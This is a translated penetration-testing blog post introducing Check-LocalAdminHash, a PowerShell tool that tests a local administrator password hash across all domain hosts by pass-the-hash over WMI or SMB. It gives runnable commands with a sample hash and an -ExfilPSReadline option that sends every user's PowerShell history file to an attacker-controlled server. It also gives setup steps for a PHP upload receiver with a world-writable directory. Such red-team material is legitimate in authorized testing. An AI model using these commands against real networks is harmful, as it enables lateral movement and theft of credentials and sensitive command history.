利用Check-LocalAdminHash渗透PowerShell历史记录与本地管理员哈希验证

本文介绍Check-LocalAdminHash工具,一款PowerShell脚本,用于验证密码哈希在多个主机上的管理员权限,并渗透所有PowerShell PSReadline控制台历史记录文件,涵盖技术实现、命令示例及服务器设置步骤。

Check-LocalAdminHash & 渗透所有PowerShell历史记录

Beau Bullock //

TL;DR Check-LocalAdminHash 是一个新的 PowerShell 脚本,可以检查密码哈希在多个主机上是否有效的管理凭据。它还能够从凭据提供的每个系统上的每个配置文件中渗透所有 PowerShell PSReadline 控制台历史记录文件。 获取 Check-LocalAdminHash 这里:https://github.com/dafthack/Check-LocalAdminHash

历史记录爱好者

在最近的一次评估中,我想从网络上的每个系统收集所有 PowerShell 控制台历史记录文件(PSReadline)。PSReadline 控制台历史记录本质上是 PowerShell 版本的 bash 历史记录。自 PowerShell 版本 5 以来,您在 PowerShell 终端中键入的所有内容都会被记录到磁盘上的文件中。它可以包括人们键入终端的许多有趣内容,包括密码和其他敏感信息。我最初是从 Chris Truncer 在他的一次精彩培训课程中了解到这些历史记录文件的。

在这个特定的评估中,我有一个本地管理员哈希,我知道它在环境中广泛使用。我没有明文凭据。该组织还部署了许多其他安全工具,使得横向移动非常困难。使用了多个 EDR 和行为分析产品,以及应用程序白名单。RDP 受到多因素认证的保护,并且我试图横向移动的主机上的 SMB 不可访问。

然而,我能够使用 Windows Management Instrumentation (WMI) 连接到其他系统。

Frankenstein

我的目标是获取网络上所有 PowerShell 控制台历史记录文件,我开始编写一个脚本来实现这一目标。但我有一些有趣的问题需要解决。我无法访问 SMB,因此简单地通过网络复制 PSReadline 文件行不通。不过,主机可以访问互联网。我最终“拼凑”了一些其他现有工具以及我自己的代码来实现我的目标。

首先,我必须从域中收集所有主机。为此,我借用的第一段代码来自 PowerView。我使用了 PowerView 的多个模块来生成域计算机列表。接下来,我利用了更多现有代码,这次来自 Kevin Robertson 的 Invoke-TheHash,以对每个主机进行身份验证。Invoke-WMIExec 和 Invoke-SMBExec 具有“传递哈希”功能,可以在远程系统上运行命令。

对于每个系统,Invoke-WMIExec 会连接并启动 PowerShell,以及一个编码的命令 blob,其中包含用于发现系统上任何配置文件中找到的任何 PSReadline 文件的代码。如果发现任何文件,它们会通过 POST 请求发送到我控制的 Web 服务器。Frankenstein 代码是活的,并且运行得出奇地好。

Check-LocalAdminAccess

因此,事实证明这个脚本的功能以完全不同的方式变得有用。它作为一个独立的 PowerShell 工具,用于确定密码哈希在网络上哪些主机上是有效的管理凭据。我们经常发现本地管理员凭据在任务中广泛使用。过去,如果我有一个密码哈希,我可能会使用像 Metasploit 的 smb_login 模块这样的东西来测试该凭据在其他主机上的有效性。然而,在评估中并不总是能够访问 Metasploit。因此,这个脚本作为一种纯粹的 PowerShell 方式来测试凭据哈希,将允许我们在 Windows 环境中本地执行此技术。

Check-LocalAdminHash 就是这个工具。您可以在 Github 上获取它:https://github.com/dafthack/Check-LocalAdminHash

以下是一些您可以使用 Check-LocalAdminHash 运行的示例命令。顺便说一句,您仍然可以使用它渗透 PSReadline 文件。

通过 WMI 检查所有主机的本地管理员哈希

此命令将使用域“testdomain.local”查找所有系统,然后尝试使用用户“testdomain.local\PossibleAdminUser”和密码哈希通过 WMI 对每个系统进行身份验证。

1
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

渗透所有 PSReadline 控制台历史记录文件

此命令将使用域“testdomain.local”查找所有系统,然后尝试使用用户“testdomain.local\PossibleAdminUser”和密码哈希通过 WMI 对每个系统进行身份验证。然后,它尝试为每个系统上的每个配置文件定位 PowerShell 控制台历史记录文件(PSReadline),然后将它们 POST 到 Web 服务器。博客文章底部包含设置服务器端的说明。

1
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

该脚本还接受 CIDR 格式的目标列表、列表格式,或者如果您不想从域中枚举主机,可以指定单个系统进行测试。除了 WMI,您还可以指定 SMB 协议,如果您想使用它的话。

PSReadline 渗透设置

这是您的警告,您即将设置一个面向互联网的服务器,该服务器将接受文件上传。通常,这是一件非常糟糕的事情,因此在进行此操作时一定要采取预防措施。我建议锁定防火墙规则,以便只有将上传 PSReadline 文件的 IP 可以访问 Web 服务器。另外,既然我们谈到安全性,这将与 HTTPS 连接完美配合,因此设置您的域和证书,以便 PSReadline 文件在网络上加密发送。您已被警告…

在您希望文件发送的任何地方设置服务器。该服务器必须可以通过 HTTP/HTTPS 从每个系统访问。 从此仓库复制 index.php 脚本,并将其放在 Web 服务器上的 Web 根目录(/var/www/html)中的 /index.php。 创建一个上传目录:

1
mkdir /var/www/html/uploads

修改此目录的权限:

1
chmod 0777 /var/www/html/uploads

确保安装了 php:

1
apt-get install php

重新启动 Apache:

1
service apache2 restart

在 Check-LocalAdminHash.ps1 脚本本身中,向下滚动到“Gen-EncodedUploadScript”函数,并在“$UnencodedCommand”下修改“$Url”变量。将其指向您的 Web 服务器 index.php 页面。我还没有弄清楚如何将 UploadUrl 变量传递到代码的那部分,最终被编码并在目标系统上运行,因此暂时硬编码它。

现在,当您使用 -ExfilPSReadline 标志运行 Check-LocalAdminHash 时,它应该尝试将每个 PSReadline(如果有的话)POST 到您的 Web 服务器。

结论

Check-LocalAdminAccess 是出于必要而诞生的。如果您发现自己在一个 Windows 系统上,没有基于 Linux 的工具可用,并且需要测试密码哈希,这应该有助于提供一种更本地化的方法来测试凭据。此外,修改代码中查找 PSReadline 文件的部分以在每个主机上执行其他操作并不困难。将来,我可能会更改它以提供查找其他文件或在系统上运行其他命令的能力。

致谢

Check-LocalAdminHash 基本上是我最喜欢的两个工具 PowerView 和 Invoke-TheHash 的 Frankenstein。95% 的代码来自这两个工具。因此,荣誉归于 Kevin Robertson 的 Invoke-TheHash,以及 Will Schroeder、Matt Graeber 和任何其他参与 PowerView 工作的人。没有这两个工具,这个脚本就不会存在。

另外,向 Steve Borosh 致敬,感谢他在多线程方面的帮助,以及他 overall 的出色表现。 Invoke-TheHash – https://github.com/Kevin-Robertson/Invoke-TheHash PowerView – https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计